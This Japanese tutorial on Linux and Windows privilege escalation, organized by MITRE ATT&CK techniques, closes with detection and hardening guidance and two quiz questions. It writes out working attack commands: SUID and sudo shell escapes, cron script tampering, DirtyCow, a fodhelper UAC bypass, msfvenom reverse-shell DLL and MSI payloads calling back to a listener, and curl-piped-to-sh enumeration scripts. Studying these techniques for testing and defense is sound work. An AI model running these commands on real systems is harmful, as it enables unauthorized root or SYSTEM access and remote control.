権限昇格とは何か
権限昇格(Privilege Escalation)とは、攻撃者が最初に取得した低い権限のアカウントから、より高い権限(root・Administrator・SYSTEM)を獲得するプロセスです。MITRE ATT&CK フレームワークでは TA0004 Privilege Escalation として分類され、多数の具体的な手法(Technique)が定義されています。
侵入直後の攻撃者は、多くの場合 SSH の一般ユーザーや、フィッシングで奪ったWebアプリの実行ユーザーといった限定的な権限しか持っていません。この状態では機密ファイルへのアクセス、バックドアの永続化、横展開(ラテラルムーブメント)が困難です。権限昇格によって管理者権限を得ることで、攻撃者は組織内で自由に行動できるようになります。
権限昇格には 垂直的権限昇格(一般ユーザー → 管理者)と 水平的権限昇格(同じ権限レベルの別ユーザーに横移動)の2種類があります。本記事では主に垂直的権限昇格を扱います。
Linux における権限昇格手法
1. SUID/SGID ビット悪用(T1548.001)
SUID(Set User ID)ビットが設定された実行ファイルは、そのファイルのオーナー権限で実行されます。root が所有する SUID ファイルを一般ユーザーが実行すると、一時的に root 権限を持てます。これ自体は正当な仕組みですが、設定ミスや脆弱なバイナリが存在すると悪用されます。
SUID が設定されたファイルの探索:
SUID/SGID ビットが設定されたファイルを検索
find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null
SUID ファイルの一覧(よく知られた悪用可能なバイナリを確認)
find / -perm -u=s -type f 2>/dev/null | xargs ls -la
悪用例 — find コマンドへの SUID 設定:
find コマンドに SUID が設定されている場合
ls -la /usr/bin/find
-rwsr-xr-x 1 root root … /usr/bin/find
GTFOBins を利用して root シェルを取得
/usr/bin/find . -exec /bin/sh -p ; -quit
whoami で権限確認
whoami
root
GTFOBins(https://gtfobins.github.io)は、SUID・sudo・cron などで悪用可能なバイナリの一覧を提供するリソースです。攻撃者はこのサイトを参照して悪用可能なバイナリを素早く特定します。防御担当者も同様に把握しておく必要があります。
2. sudoers 設定ミスの悪用(T1548.003)
/etc/sudoers の誤った設定により、一般ユーザーが特定のコマンドを root 権限で実行できる場合があります。
現在のユーザーが使用できる sudo コマンドを確認
sudo -l
出力例(危険な設定):
User webdev may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
vim を sudo で起動し、シェルを起動
sudo vim -c ’:!/bin/bash’
3. cron ジョブの悪用(T1053.003)
root 権限で実行される cron ジョブが、一般ユーザーが書き込み可能なスクリプトを参照している場合、そのスクリプトを改ざんして権限昇格できます。
cron ジョブの設定を確認
cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ /etc/cron.daily/
書き込み可能なスクリプトを発見した場合
echo “chmod +s /bin/bash” >> /opt/backup/backup.sh
cron が実行された後
/bin/bash -p whoami
root
cron ジョブの悪用は発見が難しく、定期的に実行されるため持続的な権限昇格の手段となります。スクリプトファイルのパーミッションと所有者を定期的に監査してください。
4. カーネル脆弱性の悪用
カーネルそのものの脆弱性を突く手法は、最も強力な権限昇格方法の一つです。
カーネルバージョンの確認
uname -a
Linux target 4.15.0-112-generic #113-Ubuntu …
CVE データベースや exploit-db でカーネルバージョンに対応する脆弱性を検索
DirtyCow(CVE-2016-5195)の例
gcc -pthread dirtyc0w.c -o dirtyc0w ./dirtyc0w /etc/passwd new_password_hash
Windows における権限昇格手法
1. UAC バイパス(T1548.002)
ユーザーアカウント制御(UAC)は Windows の重要なセキュリティ機能ですが、様々なバイパス手法が知られています。
PowerShell でのUAC確認
[Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() ` | Select-Object -ExpandProperty IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
fodhelper.exe を利用したUACバイパス(管理者グループメンバーが前提)
New-Item “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force
New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
-Name “(default)” -Value “cmd /c start cmd.exe” -Force
Start-Process “C:\Windows\System32\fodhelper.exe”
UACME(https://github.com/hfiref0x/UACME)プロジェクトには 60 以上の既知の UAC バイパス手法がまとめられています。これらを把握することで、防御側は適切な検出ルールを作成できます。
2. DLL ハイジャッキング(T1574.001)
Windows アプリケーションが DLL を検索する際の順序(DLL Search Order)を悪用し、正規の DLL より先に悪意のある DLL を読み込ませる手法です。
Procmon(Sysinternals)でDLL Not Found のエントリを特定する
フィルタ: Result is NAME NOT FOUND, Path ends with .dll
書き込み可能なディレクトリに悪意のある DLL を配置
msfvenom でペイロードを生成する例
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 ` -f dll -o version.dll
ターゲットのアプリケーションディレクトリに配置
copy version.dll “C:\Program Files\VulnerableApp\version.dll”
3. サービスの設定ミス(T1574.010)
Windowsサービスのバイナリパスや権限設定のミスを悪用する手法です。
サービスのバイナリパスに書き込み権限があるか確認(PowerShell)
Get-WmiObject Win32_Service | Where-Object StartMode -eq Auto | Select-Object Name, PathName, StartName
sc コマンドでサービス設定を確認
sc qc VulnerableService
引用符なしのサービスパス(Unquoted Service Path)を利用した悪用例
パス: C:\Program Files\My App\service.exe
Windows は以下の順で実行を試みる:
C:\Program.exe
C:\Program Files\My.exe ← ここに書き込めれば権限昇格可能
C:\Program Files\My App\service.exe
4. AlwaysInstallElevated(T1548.002)
レジストリの AlwaysInstallElevated が有効な場合、一般ユーザーが SYSTEM 権限で MSI インストーラーを実行できます。
レジストリキーの確認
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
両方が 0x1 であれば悪用可能
msfvenom で悪意のある MSI を生成
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o evil.msi
インストール実行(SYSTEM として動作)
msiexec /quiet /qn /i evil.msi
AlwaysInstallElevated はグループポリシーで有効化される設定です。Active Directory 環境では GPO の設定を定期的に監査し、この設定が有効になっていないことを確認してください。
自動化された権限昇格チェックツール
実際のペネトレーションテストでは、自動化ツールを使って権限昇格の可能性を素早くスキャンします。
Linux: LinPEAS(Linux Privilege Escalation Awesome Script)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Linux: Linux Smart Enumeration
wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh chmod +x lse.sh && ./lse.sh -l 1
Windows: WinPEAS
.\winPEASx64.exe
Windows: PowerUp(PowerSploit の一部)
Import-Module .\PowerUp.ps1 Invoke-AllChecks
検出と防御手法
検出ポイント
権限昇格の試みは以下のログやイベントで検出できます。
【Linux 検出】
- /var/log/auth.log: sudo コマンドの実行ログ
- auditd ログ: SUID バイナリの実行(-a always,exit -F perm=x -F auid>=1000)
- /etc/passwd や /etc/shadow の変更イベント
【Windows 検出】
- イベントID 4672: 特別な権限が割り当てられたログオン
- イベントID 4688: プロセス作成(トークン昇格のフラグ確認)
- イベントID 4697: システムへのサービスインストール
- Sysmon イベントID 1: プロセス作成(IntegrityLevel の変化)
防御のベストプラクティス
最小権限の原則(Principle of Least Privilege) を徹底することが権限昇格対策の基本です。ユーザー・サービス・アプリケーションに必要最低限の権限のみを付与し、定期的に棚卸しを行います。
-
Linux の強化
find / -perm -4000を定期実行し、不審な SUID バイナリを検出する/etc/sudoersを最小限の設定に維持し、NOPASSWDの使用を避ける- cron スクリプトのパーミッションを root 所有・非書き込みに設定する
- カーネルを常に最新の状態に保つ(
unattended-upgradesの活用)
-
Windows の強化
- UAC を「常に通知」レベルに設定する
AlwaysInstallElevatedを無効化する- サービスバイナリのパスを引用符で囲み、書き込み権限を最小化する
- Windows Defender Credential Guard・Attack Surface Reduction ルールを有効化する
-
共通の対策
- Privileged Access Workstation(PAW)の導入
- 特権アカウントの多要素認証(MFA)必須化
- EDR/XDR ソリューションによるリアルタイム監視
Linux において SUID ビットが設定されたバイナリを検索するコマンドとして正しいものはどれですか?
Windows の AlwaysInstallElevated 設定が悪用可能な状態とはどれですか?